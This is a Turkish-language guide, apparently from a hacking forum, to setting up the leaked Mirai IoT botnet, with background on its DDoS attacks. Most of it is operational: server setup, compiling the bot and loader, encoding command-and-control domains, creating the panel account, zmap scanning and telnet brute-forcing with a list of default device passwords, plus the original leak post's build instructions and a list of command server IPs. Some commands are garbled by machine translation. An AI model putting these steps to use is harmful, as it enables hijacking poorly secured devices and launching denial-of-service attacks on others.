Mirai'nin kaynak kodu. Mirai botnet'in kurulumu ve yapılandırılması. Mirai'nin çalışma prensibi

Mirai özünde basit bir şekilde çalışır: Telnet yoluyla erişilebilen, kaba kuvvete ve bilgisayar korsanlığına karşı savunmasız IoT cihazlarını bulmak için İnternet'i tarar. Kötü amaçlı yazılım öncelikle güvenlik kameralarına, DVR'lere ve yönlendiricilere saldırır ve ardından solucan gibi çoğalmaya devam eder.

Bu botnet tarafından son dönemde gerçekleştirilen ve Avrupa'nın en büyük DDoS saldırılarından biri. Zirve saldırı gücü 620 Gbit/s'ye ve 1 Tb/s'nin üzerine çıktı. Saldırganlar, bu tür sonuçlara ulaşmak için UDP, DNS ve HTTP Flooding'in yanı sıra uzmanların son derece sıra dışı olarak kabul ettiği GRE (Genel Yönlendirme Kapsülleme) paketlerini kullandı.

MalwareTech uzmanlarının vardığı sonuçlar genel olarak bu gözlemlerle örtüşmektedir. Böylece, on iki saatlik bir süre boyunca araştırmacılar yaklaşık 72.000 benzersiz IP adresi kaydetti ve her saat 4.000 yeni IP ortaya çıktı. Analistler bundan yola çıkarak botnet boyutunun çok mütevazı olduğu sonucuna vardı; günde yalnızca yaklaşık 120.000 cihaz. Her ne kadar botnet çok daha büyük olsa ve rakamlar 1-1,5 milyon bot olsa da ne MalwareTech araştırmacıları ne de Akamai uzmanları bu görüşte değil.

Araştırmacılar, "Telnet saldırılarının basitliği nedeniyle daha önce büyük ölçüde göz ardı edilen Mirai, kolluk kuvvetlerinin birçok uluslararası şirketin desteğiyle soruşturma başlatmasıyla geçen hafta dünya çapında medyada önemli bir tartışma konusu haline geldi" diye yazıyor. . “Bilgisayar korsanları giderek daha savunmasız IoT cihazları buldukça veya NAT korumalı cihazlara bulaşmaya başladıkça, güçlü DDoS saldırılarının artık daha yaygın bir uygulama haline gelmesi kuvvetle muhtemeldir. Üreticilerin, varsayılan olarak küresel parolalara sahip cihazları piyasaya sürmeyi bırakmasının ve kasanın alt kısmında rastgele oluşturulmuş parolalara sahip aygıtları serbest bırakmaya geçmenin kesinlikle zamanı geldi."

MalwareTech araştırmacıları rapora ek olarak Mirai enfeksiyonlarının haritasını gösteren bir video da eklediler (aşağıya bakınız). Ayrıca araştırmacıların web sitesinde botnet'in gerçek zamanlı olarak güncellenen etkileşimli bir haritasını bulabilirsiniz.

İki VPS KVM sunucusuna ve bir etki alanına ihtiyacımız olacak. Sanallaştırma KVM'dir, bu sefer OpenVZ eksik.

Sunucuları buraya alıyorum -

Botnet'in kendisini bir sunucuya kuracağız ve ikincisinde botları tarayacağız. (vahşi)

ÖNEMLİ. Sunucular Debian 8 tabanlı olmalı ve en az 1 GB RAM'e sahip olmalıdır.

Herhangi bir alan adı önemli değil.

Üzgünüm elbette ama size VPS'ye nasıl alan adı ekleyeceğinizi anlatmayacağım. Zor değil, kendin çözeceksin.

Macun ve başlayalım.

# apt-get update -y

# apt-get yükseltme -y

# apt-get install unzip gcc golang elektrikli çit perdesi sudo git -y

# apt-get mysql-sunucusunu yükle -y

# apt-get mysql-istemcisini yükle -y

# apt-get apache2'yi yükle -y

MySQL'i kurarken, root kullanıcısının MySQL'e erişmesi için bir şifre oluşturmanız gerekecektir. Herhangi bir “qwerty” olmadan normal bir şifre bulacaksınız.

Bir yere yazın, yine ihtiyacımız olacak.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#bash< <(curl -s -S -L

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

)

# gvm go1.4'ü yükleyin

# gvm go1.4'ü kullan [--default]

# gvm go1.4 -B'yi yükleyin

# gvm go1.4'ü kullanıyor

# dışa aktar GOROOT_BOOTSTRAP=$GOROOT

# gvm go1.5'i yükleyin

# gvm go1.5'i kullan

# gvm go1.8'i yükleyin

# gvm go1.8'i kullanıyor

Tüm yardımcı programları yükledikten sonra bot kaynaklarını indirin -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Ve sunucuya yükleyin. Takım wget veya sadece program aracılığıyla WinSCP.

# Mirai-Source-Code-master.zip dosyasını açın

# cd Mirai-Kaynak-Kod-Master/mirai/araçlar

# gcc enc.c -o enc

# ./enc dize *******(sunucuya bağlı olan alan adımızı yazıyoruz) ve Enter tuşuna basıyoruz.

Burada aşağıdaki metni göreceksiniz -

14 baytlık veriyi XOR'lamak...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - burada farklı bir numaranız olacak, bu yüzden endişelenmeyin, her şey doğru.

Bu metnin tamamını kopyalıyoruz.

Nano düzenleyiciyle veya aracılığıyla açın WinSCP dosya masa.c klasörde bulunan mirai/bot

Bunu görmek lazım -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Astar add_entry(TABLE_CNC_DOMAIN- tırnak içindeki her şeyi az önce kopyaladığınız metninizle değiştirin. Yerine " 30 " Az önce kopyaladığımız numaramızı yazıyoruz. Aynısını çizgiyle yapıyoruz add_entry(TABLE_SCAN_CB_DOMAIN

Düzenleyiciyi kaydedip kapatın.

Dosyayı bir düzenleyiciyle açın mirai/cnc/main.go

Bunu görüyoruz -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

"127.0.0.1" değişmek "127.0.0.1:3306"

"şifre" Daha önce girdiğimiz şifreyi MySQL'imize değiştiriyoruz. "

Dosyayı kaydedin ve düzenleyiciyi kapatın.

Bütün bu saçmalıkları kopyala, sana neden gerekli olduğunu söylemeyeceğim -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

#wget

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

# tar -jxf çapraz derleyici-armv4l.tar.bz2

# tar -jxf çapraz derleyici-i586.tar.bz2

# tar -jxf çapraz derleyici-m68k.tar.bz2

# tar -jxf çapraz derleyici-mips.tar.bz2

# tar -jxf çapraz derleyici-mipsel.tar.bz2

# tar -jxf çapraz derleyici-powerpc.tar.bz2

# tar -jxf çapraz derleyici-sh4.tar.bz2

# tar -jxf çapraz derleyici-sparc.tar.bz2

# tar -jxf çapraz derleyici-armv6l.tar.bz2

# rm *.tar.bz2

# mv çapraz derleyici-armv4l armv4l

# mv çapraz derleyici-i586 i586

#mv çapraz derleyici-m68k m68k

# mv çapraz derleyici mips mips'i

# mv çapraz derleyici-mipsel mipsel

# mv çapraz derleyici-powerpc powerpc

# mv çapraz derleyici-sh4 sh4

# mv çapraz derleyici-sparc sparc

# mv çapraz derleyici-armv6l armv6l

# dışa aktarma PATH=$PATH:/etc/xcompile/armv4l/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/i586/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/m68k/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/mips/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/mipsel/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/powerpc/bin

# dışa aktarma YOLU=$YOLU:/etc/xcompile/powerpc-440fp/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/sh4/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/sparc/bin

# dışa aktarma PATH=$PATH:/etc/xcompile/armv6l/bin

# dışa aktarma PATH=$PATH:/usr/local/go/bin

# dışa aktar GOPATH=$HOME/Documents/go

# github.com/go-sql-driver/mysql adresini edinin

# github.com/mattn/go-shellwords adresini edinin

# cd Mirai-Kaynak-Kod-ana/mirai

# ./build.sh telnet'te hata ayıklama

# ./build.sh telnet'i yayınla

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bins/

Şimdi MySQL.

# mysql -u kök -p

Burada sizden bir şifre istenecektir. Daha önce belirlediğiniz şifreyi girin.

# veritabanı mirai oluştur;

# mirai'yi kullan

Şimdi buradaki tüm metni kopyalayın -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Bunu yapıştırın ve Enter tuşuna basın.

Metni buradan kopyalayın -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Yerine anna-senpai giriş bilgilerinizi yazın. Herhangi. Harika şifrem için de aynı şey geçerli. Bot kontrol paneline erişmek için bu verilere ihtiyacımız olacak.

Bu şekilde olmalı - INSERT INTO user VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Kopyala, yapıştır, Enter'a bas.

Artık dışarı çıkabilirsin.

Neredeyse bitti.

# cd Mirai-Kaynak-Kod-ana/mirai/sürüm

# istem.txt'ye dokunun

# ekran ./cnc

Yazıyı görmek lazım MySQL veritabanı açıldı

Bu oturumu kapatmıyoruz, yeni bir oturum açıyoruz.

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

******* yerine alan adınızı yazın ve Aç'a tıklayın.

Kullanıcı adınızı ve şifrenizi girin, benim durumumda:

zaebalsjapisatj

İşte bu, bot kontrol panelindeyiz.

Artık botlara ihtiyacımız var. Burada her şey basit, kuruluma gerek yok.

Yükleyiciyi yapılandıralım.

Metin dosyalarından bot eklenebilmesi için yükleyiciye ihtiyaç vardır. Diyelim ki bir grup cihaz (yönlendiriciler, kameralar, telefonlar) oluşturduk ve bunları bota eklemek için bir yükleyiciye ihtiyacımız var.

Ayrıca yükleyici bir "solucan"

Sunucumuza şu adresten bağlanın: PuTTY ve WinSCP.

WinSCP kullanarak dosyayı buluyoruz ana.c klasörde Mirai-Kaynak-Kod-ana/dlr

Sunucumuzun IP'sini ekran görüntüsündeki gibi yazıyoruz -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Virgülleri bırakıyoruz, öyle olması gerekiyor. Kaydet ve kapat.

Şimdi birlikte PyTTY sunucumuza gidin ve yazın -

# cd Mirai-Kaynak-Kod-ana/dlr

#chmod777*

# ./build.sh

#cd çıkışı

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Şimdi açalım WinSCP ve dosyayı bul ana.c klasörde Mirai-Kaynak-Kodu-ana/yükleyici/src

Ekran görüntüsündeki gibi IP'mize değiştiriyoruz -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Kaydet ve kapat.

Başından sonuna kadar Macun -

# ./build.sh

Kullanarak WinSCP dosyayı aç scanListen.go klasörde bulunabilir Mirai-Kaynak-Kod-ana/mirai/araçlar

Sunucu IP'nizi değiştirin -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Sonra ile PyTTY -

# cd Mirai-Kaynak-Kod-ana/mirai/araçlar

# git scanListen.go'yu oluştur

Artık yeni bir dosyamız var - taraDinle(olmadan .Gitmek, Sadece taraDinle)

taraDinle bir klasöre taşınması gerekiyor Mirai-Kaynak-Kodu-ana/yükleyici

Sadece yardımla WinSCP onu bir klasöre koy yükleyici

Şimdi her şeyin çalışıp çalışmadığını kontrol edelim

# ./yükleyici

Ekranda ne olduğunu görüyorsanız, her şey doğrudur -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Hata olursa konuya yazın yardımcı olurum.

Listeden bot indirmek için metin dosyasını klasöre bırakın yükleyici ve komutu yazın -

# kedi listesi.txt | ./yükleyici

İşte bu, işe aldığınız tüm botlar yanınızda olacak, sizin emrinizde siteleri çökertecekler.

Ben şahsen bu yöntemi kullanmadım, daha kolay bir yol buldum.

Burada ikinci bir sunucuya ihtiyacımız var. Ayrıca Debian 8.

# apt-get update -y

# apt-get yükseltme -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

Z haritası port taraması için buna ihtiyacımız var. Çalışma prensibi aynıdır KPortScan, yalnızca 50 kat daha hızlı.

Kodun tamamını buradan kopyalayın -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Ve farklı kaydet tarama.py

Buraya şifrelerinizi ve oturum açma bilgilerinizi ekleyebilirsiniz -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Sicim karma Dokunma!

Burada botun bulunduğu sunucunun IP'sini kaydetmeniz gerekir -

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.

Her şeyi değiştirip kaydediyoruz.

Scan.py dosyasını sunucumuzun herhangi bir yerine bırakıyoruz. Tamamen tarama amaçlı olan ikinci sunucuda bota dokunmadığımız sunucu.

Tarayacağımız IP'lere ihtiyacımız var.

#zmap -p22 -o list.txt -B 100M(diğer bağlantı noktalarını tarayabilirsiniz, ben her zaman 22 veya 23'ü taradım)

Tüm sonuçlar dosyada olacak liste.txt

IP'yi topladıktan sonra (ne kadar çok olursa o kadar iyi) dosya liste.txt dosyanın yanına at tarama.py ve yaz -

# python scan.py listesi.txt 500

İşte bu, oturup botnetimizin nasıl büyüdüğünü izliyoruz.

En az 200 bot olduğunda yükleyiciyi başlatabilirsiniz.

Bunu yapmak için botnet'in kurulu olduğu sunucuya gidin ve -

# cd Mirai-Kaynak-Kod-ana/yükleyici

# ulimit -n 9999999

# ./scanListen | ./yükleyici

Artık bot bir "solucan" gibi çalışacak ve daha fazla botun işini bitirecek.

Geçtiğimiz hafta, 1 Tb/s'ye kadar kapasiteye sahip rekor DDoS saldırılarında kullanılan Mirai botnet'in bileşenlerinin kaynak kodu internete sızdırılmıştı.

Sanat. Rusya Federasyonu Ceza Kanunu'nun 273'ü. Kötü amaçlı bilgisayar programlarının oluşturulması, kullanılması ve dağıtımı

1. Bilgisayar bilgilerinin yetkisiz olarak imha edilmesi, engellenmesi, değiştirilmesi, kopyalanması veya bilgisayar bilgileri koruma araçlarının etkisiz hale getirilmesi amacıyla bilerek bilgisayar programlarının veya diğer bilgisayar bilgilerinin oluşturulması, dağıtılması veya kullanılması, -

dört yıla kadar bir süre için özgürlüğün kısıtlanması veya dört yıla kadar bir süre için zorunlu çalıştırma veya aynı süre için iki yüz bin rubleye kadar para cezasıyla hapis cezasıyla cezalandırılır. onsekiz aya kadar bir süre için hükümlünün maaşı veya diğer gelirinin miktarı.

2. Bu maddenin birinci kısmında öngörülen, önceden komplo kurarak bir grup kişi tarafından veya organize bir grup tarafından veya resmi konumunu kullanan bir kişi tarafından gerçekleştirilen, ayrıca büyük zarara yol açan veya bencil çıkarlar dışında işlenen eylemler , -

dört yıla kadar bir süre için özgürlüğün kısıtlanması veya üç yıla kadar bir süre için belirli pozisyonlarda bulunma veya belirli faaliyetlerde bulunma hakkından yoksun bırakılarak beş yıla kadar bir süre için zorla çalıştırma ile cezalandırılır veya onsuz veya on bin ila iki yüz bin ruble para cezasıyla beş yıla kadar hapis veya iki ila üç yıllık bir süre için veya onsuz hükümlü kişinin maaşı veya diğer geliri tutarında hapis cezası ve Üç yıla kadar bir süre boyunca belirli pozisyonlarda bulunma veya belirli faaliyetlerde bulunma hakkından yoksun bırakılarak veya yoksun bırakılarak.

3. Bu maddenin birinci veya ikinci bölümünde öngörülen fiiller, ağır sonuçlar doğuruyorsa veya meydana gelme tehlikesi yaratıyorsa, -

yedi yıla kadar hapis cezası ile cezalandırılır.

Bu botnet esas olarak kameralardan, DVR cihazlarından vb. oluşur.

Bulaşma oldukça basit bir şekilde gerçekleşir: İnternet açık 80/23 (web/telnet) bağlantı noktaları açısından taranır ve sabit kodlanmış hesaplar seçilir.

Çok az kullanıcı yerleşik hesaplarının şifrelerini (mümkünse) değiştirir, böylece botnet sürekli olarak yeni cihazlarla doldurulur. Web arayüzünün şifresini içindeyken değiştirebiliyorsanız, o zaman şifre ve telnet erişiminin varlığı birçok kullanıcının gözünden kaçar.

En sık kullanılan hesaplar şunlardır:

etkinleştirme:sistem
kabuk:sh
yönetici: yönetici
kök:xc3511
kök:vizxv
kök:yönetici
kök:xmhdipc
kök:123456
kök:888888
destek:destek
kök:54321
kök: juantech
kök:anko
kök:12345
yönetici:
kök:varsayılan
yönetici şifresi
kök:kök
kök:
kullanıcı:kullanıcı
yönetici:smcadmin
kök:geçiş
yönetici: admin1234
kök:1111
misafir:12345
kök:1234
kök:şifre
kök:666666
yönetici:1111
hizmet:hizmet
kök sistem
gözetmen: gözetmen
kök:klv1234
yönetici:1234
kök:ikwb
kök:Zte521

Erişim kazandıktan sonra komuta merkezi, yeni bir botun varlığına ilişkin ikili bir bildirim alır:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (ana bilgisayar adresi buradaydı)
05 = Sekme
17 = 23 (Bağlantı Noktası 23 Telnet)
05 = Sekme
61 64 6d 69 6e = kullanıcı adı:admin admin
05= Sekme
61 64 6d 69 6e = kullanıcı şifresi: admin

Belirlenen örneklerin de gösterdiği gibi, botnet bileşenleri farklı ortamlarda çalışacak şekilde tasarlanmıştır:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Komut sunucuları şu anda aşağıdaki adreslerde bulunmaktadır:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Botnet oluşturma talimatları oldukça basittir, şu şekildedir (kaynak http://Pastebin.com/E90i6yBB):

Herkese merhaba,

DDoS sektörüne ilk girdiğimde bu sektörde uzun süre kalmayı planlamıyordum. Paramı kazandım, artık IOT'ye bakan bir sürü göz var, o yüzden sıra GTFO'ya geldi. Ancak her kızağı ve annesini tanıyorum, qbot dışında bir şeye sahip olmak onların en büyük hayalidir.

Bugün sizin için harika bir yayınım var. Mirai ile genellikle telnet'ten maksimum 380 bin bot çekiyorum. Ancak Kreb DDoS'tan sonra İSS'ler yavaş yavaş kapanıyor ve işlerini düzenliyorlardı. Bugün maksimum çekim yaklaşık 300 bin bot civarında ve düşüyor.

Yani ben senin senpai'nim ve sana gerçekten iyi davranacağım hf-chan'ım.

Ve CNC'me vurarak bir şey yaptığını düşünen herkese çok güldüm, bu bot CNC için alan adı kullanıyor. Tüm botların yeniden bağlanması 60 saniye sürer, hahaha

Ayrıca, bu blog gönderisine, kötü amaçlı yazılım mustdie'nin notu
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Sana çok saygı duyuyordum, senin iyi bir ters çevirici olduğunu düşünüyordum, ama sen bu ikiliyi tersine çevirmede gerçekten tamamen başarısız oldun. "Hala sizlerden daha iyi kung fumuz var çocuklar" beni güldürmeyin lütfen, çok fazla hata yaptınız ve hatta bazı farklı ikili dosyaları benimkiyle karıştırdınız. YÜKSEK SESLE GÜLMEK

Sana birkaç tokat atayım-
1) 48101 numaralı bağlantı noktası arka bağlantı için değil, birden fazla bot örneğinin birlikte çalışmasını önlemek için kontrol amaçlıdır
2) /dev/watchdog ve /dev/misc "geciktirmek" için değil, sistemin kilitlenmesini önlemek içindir. Bu alçakta asılı bir meyve, o kadar üzücü ki son derece aptalsın
3) Başarısız oldunuz ve FAKE_CNC_ADDR ve FAKE_CNC_PORT'un gerçek CNC olduğunu düşündünüz, hahaha "Ve 65.222.202.53'te HTTP aracılığıyla bağlanmak için arka kapıyı yapıyorsunuz." sinyal akışına takılıp kaldın ;) daha sert kaymayı dene
4) İskelet aracınız berbat, saldırı kod çözücünün "sinden tarzı" olduğunu sanıyordu ama metin tabanlı bir protokol bile kullanmıyor mu? CNC ve bot ikili protokol üzerinden iletişim kurar
5) 'chroot('/') torlus gibi çok tahmin edilebilir diyorsunuz ama anlamıyorsunuz, bazıları cwd'ye dayanarak öldürüyor. Gerçek kötü amaçlı yazılımlara karşı ne kadar döngünün dışında olduğunuzu gösterir. Skidland'e geri dön

Neden tersine mühendislik araçları yazıyorsunuz? İlk etapta doğru şekilde geri bile gidemiyorsunuz. Başkalarını etkilemeye çalışmadan önce lütfen bazı becerileri öğrenin. Aptal kung-fu açıklamanla "beni nasıl yendiğini" açıklamandaki küstahlığın, SO'mu yerken beni o kadar güldürdü ki sırtımı sıvazlamak zorunda kaldım.

Benim sonsuza kadar özgür olacağım gibi, sen de sonsuza kadar vasatlığa mahkum olacaksın.

Gereksinimler
2 sunucu: CNC + mysql için 1, tarama alıcısı için 1 ve yükleme için 1+

OP Gereksinimleri
2 VPS ve 4 sunucu
— Veritabanı sunucusu için son derece kurşun geçirmez ana bilgisayara sahip 1 VPS
— ScanReceiver ve dağıtıcı için rootkitli 1 VPS
— CNC için 1 sunucu (400k botlarla %2 CPU gibi kullanılır)
— Yükleme için 3x 10gbps NForce sunucusu (dağıtımcı 3 sunucuya eşit olarak dağıtır)

— CNC ile bağlantı kurmak için botlar bir alanı (resolv.c/resolv.h) çözer ve bu IP adresine bağlanır
— Botlar, qbot'takinden yaklaşık 80 kat daha hızlı olan ve neredeyse 20 kat daha az kaynak kullanan gelişmiş bir SYN tarayıcı kullanarak kaba telnet'i çalıştırır. Kaba bir sonuç bulduğunda bot başka bir alanı çözer ve bunu bildirir. Bu, sonuçlar geldiğinde cihazlara otomatik olarak yüklenecek şekilde ayrı bir sunucuya zincirlenir.
— Kabalaştırılmış sonuçlar varsayılan olarak 48101 numaralı bağlantı noktasından gönderilir. Kaba sonuçları almak için araçlarda scanListen.go adı verilen yardımcı program kullanılır (en yüksek noktada saniyede yaklaşık 500 kaba sonuç elde ediyordum). Hata ayıklama modunda derlerseniz, hata ayıklama klasöründe scanListen ikili yardımcı programının göründüğünü görmelisiniz.

Mirai, öz-rep'e benzer bir yayma mekanizması kullanıyor ama benim "gerçek zamanlı yükleme" dediğim şey bu. Temel olarak, botlar kaba sonuçları, sonuçları yükleyiciye gönderen scanListen yardımcı programını dinleyen bir sunucuya gönderir. Bu döngü (brute -> scanListen -> load -> brute) gerçek zamanlı yükleme olarak bilinir.

Yükleyici, linux'ta bağlantı noktası tükenmesini atlamak için birden fazla IP adresi kullanacak şekilde yapılandırılabilir (sınırlı sayıda bağlantı noktası mevcuttur; bu, 65.000'den fazla eşzamanlı giden bağlantı elde etmek için demette yeterli varyasyon olmadığı anlamına gelir - teorik olarak bu değer lotu) az). Belki 5 IP'ye yayılmış 60k - 70k eşzamanlı giden bağlantıya (eşzamanlı yükleme) sahip olurdum.
Bot'un (table.c/table.h) içinde gizlenmiş çeşitli yapılandırma seçenekleri vardır. ./mirai/bot/table.h dosyasında yapabilirsiniz yapılandırma seçeneklerine ilişkin çoğu açıklamayı bulun. Ancak, ./mirai/bot/table.c dosyasında çalışmaya başlamak için değiştirmeniz gereken *ihtiyaç duyduğunuz* birkaç seçenek vardır.

— TABLE_CNC_DOMAIN — Bağlanılacak CNC'nin alan adı — Mirai ile DDoS'ten kaçınmak çok eğlenceli, insanlar CNC'me ulaşmaya çalışıyorlar ama ben onu yeni IP'ler bulabileceklerinden daha hızlı güncelliyorum, hahaha. Gerizekalılar :)
— TABLE_CNC_PORT — Bağlanılacak bağlantı noktası, zaten 23'e ayarlanmış
— TABLE_SCAN_CB_DOMAIN — Kaba sonuçlar bulunurken, bu etki alanına bildirilir
— TABLE_SCAN_CB_PORT — Kaba sonuçlar için bağlanılacak bağlantı noktası, zaten 48101 olarak ayarlanmıştır.

./mirai/tools içinde enc.c adında bir şey bulacaksınız - Table.c dosyasına eklenecek şeylerin çıktısını almak için bunu derlemelisiniz

Bu mirai dizininin içinde çalıştırın

./build.sh telnet'te hata ayıklama

Yapılandırmadıysanız, çapraz derleyicilerin orada olmamasıyla ilgili bazı hatalar alırsınız. Bu sorun değil, enc aracının derlenmesini etkilemez

Şimdi ./mirai/debug klasöründe enc adında derlenmiş bir ikili dosya görmelisiniz. Örneğin, botların bağlanacağı alan adı için gizlenmiş dize almak için şunu kullanın:

./debug/enc string siktir et.the.police.com
Çıktı şöyle görünmeli

20 bayt veriyi XOR'luyor…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Örneğin TABLE_CNC_DOMAIN değerini güncellemek için, bu uzun onaltılı dizeyi enc aracı tarafından sağlanan dizeyle değiştirin. Ayrıca “20 baytlık verinin XOR’landığını” görüyorsunuz. Bu değer aynı zamanda son argümanın da yerini almalıdır. Örneğin, table.c satırı aslında şuna benziyor
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Artık enc aracının değerini bildiğimize göre onu bu şekilde güncelliyoruz

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //sikeyim.the.police.com
Bazı değerler string, bazıları ise porttur (ağ düzeninde uint16/big endian).
CNC'Yİ YAPILANDIRIN:
apt-get mysql-sunucuyu mysql-istemcisini yükle

CNC'nin çalışması için veritabanı gerekir. Veritabanını kurduğunuzda, ona gidin ve aşağıdaki komutları çalıştırın:
http://pastebin.com/86d0iL9g

Bu sizin için bir veritabanı oluşturacaktır. Kullanıcınızı eklemek için,

INSERT INTO user VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Şimdi ./mirai/cnc/main.go dosyasına gidin

Bu değerleri düzenleyin
const DatabaseAddr dize = "127.0.0.1"
const DatabaseUser string = "kök"
const DatabasePass string = "şifre"
const Veritabanı Tablosu string = "mirai"
Bilgi için MySQL sunucusu yeni yükledin

Çapraz derleyiciler kolaydır; kurulum için bu bağlantıdaki talimatları izleyin. Bu değişikliklerin etkili olması için sisteminizi yeniden başlatmanız veya .bashrc dosyasını yeniden yüklemeniz gerekir.

http://pastebin.com/1rRCc3aD
CNC, bot ve ilgili araçlar:
http://dopefile.pk/a9f2n9ewk8om
Bot + CNC nasıl oluşturulur?
Mirai klasöründe build.sh betiği bulunmaktadır.
./build.sh telnet'te hata ayıklama

Daemonize olmayacak botun hata ayıklama ikili dosyalarının çıktısını alacak ve CNC'ye vb. bağlanıp bağlanamayacağı, taşkın durumu vb. hakkında bilgi yazdıracak. ./mirai/debug klasörüne derlenir
./build.sh telnet'i yayınla

Son derece sadeleştirilmiş, küçük (yaklaşık 60K) ve cihazlara yüklenmesi gereken, üretime hazır bot ikili dosyalarının çıktısını alacaktır. Tüm ikili dosyaları şu formatta derler: “mirai.$ARCH” ./mirai/release klasörüne

Yükleyici telnet girişlerini STDIN'den aşağıdaki formatta okur:
ip:bağlantı noktası kullanıcısı:geçiş
Wget veya tftp olup olmadığını algılar ve bunu kullanarak ikili dosyayı indirmeye çalışır. Değilse, wget olarak yeterli olacak küçük bir ikili dosyayı (yaklaşık 1kb) eko olarak yükleyecektir.
./build.sh

Yükleyiciyi üretecek, optimize edecek, üretimde kullanacak, zahmetsiz. Yükleme için kullanılan formatlarda bir dosyanız varsa bunu yapabilirsiniz.
kedi dosyası.txt | ./yükleyici
Sınırlamayı unutmayın!

Açıkça söyleyeyim, 1'e 1 yardım dersleri veya saçmalıkları gibi çok fazla zaman vermiyorum. 1 saatten kısa sürede çalışan botnet kurmak için tüm komut dosyaları ve her şey dahildir. Bireysel sorularınız varsa (CNC nasıl oluyor da veritabanına bağlanmıyor, bunu ben bunu yaptım falan), ancak "Botum bağlanmıyor, düzeltin" gibi sorularınız varsa yardım etmeye hazırım.

Bu, son birkaç haftadır herkesin hakkında yazdığı Truva Atı. Onun yardımıyla oluşturulan botnet'lerin en etkileyici başarılarından biri, küçük bir Afrika ülkesinde bir terabitten fazla kapasiteye sahip olmasıdır.

Bunun için kaç bilgisayarı köleleştirdi?

Hiç de bile. Ya da en azından çok az. Mirai'nin hedef cihazları kesinlikle bilgisayarlar değil, IoT cihazları - video kaydediciler, kameralar, tost makineleri... Level 3 Communications'ın istatistiklerine göre, Ekim ayı sonu itibarıyla yaklaşık yarım milyon cihaz zaten Truva Atı'nın kontrolü altındaydı.

Peki buzdolaplı herhangi bir kamerayı yakalayabilir mi?

Tam olarak değil. Mirai, basitleştirilmiş bir UNIX yardımcı programları seti olan Busybox'ı çalıştıran cihazlar için özel olarak tasarlanmıştır Komut satırı Gömülü sistemlerde ana arayüz olarak kullanılan işletim sistemleri. Truva Atı yalnızca ARM, ARM7, MIPS, PPC, SH4, SPARC ve x86 gibi belirli platformlara saldırır. Yalnızca fabrika ayarlarına sahip veya çok zayıf korumaya sahip cihazlar risk altındadır; bulaşma, varsayılan yönetici kimlik bilgileri listesinin kullanıldığı Telnet bağlantı noktasına yapılan kaba kuvvet saldırısı kullanılarak gerçekleşir.

Şifresiz kameraları tüm İnternet'te aramak bir şekilde etkisiz - değil mi?

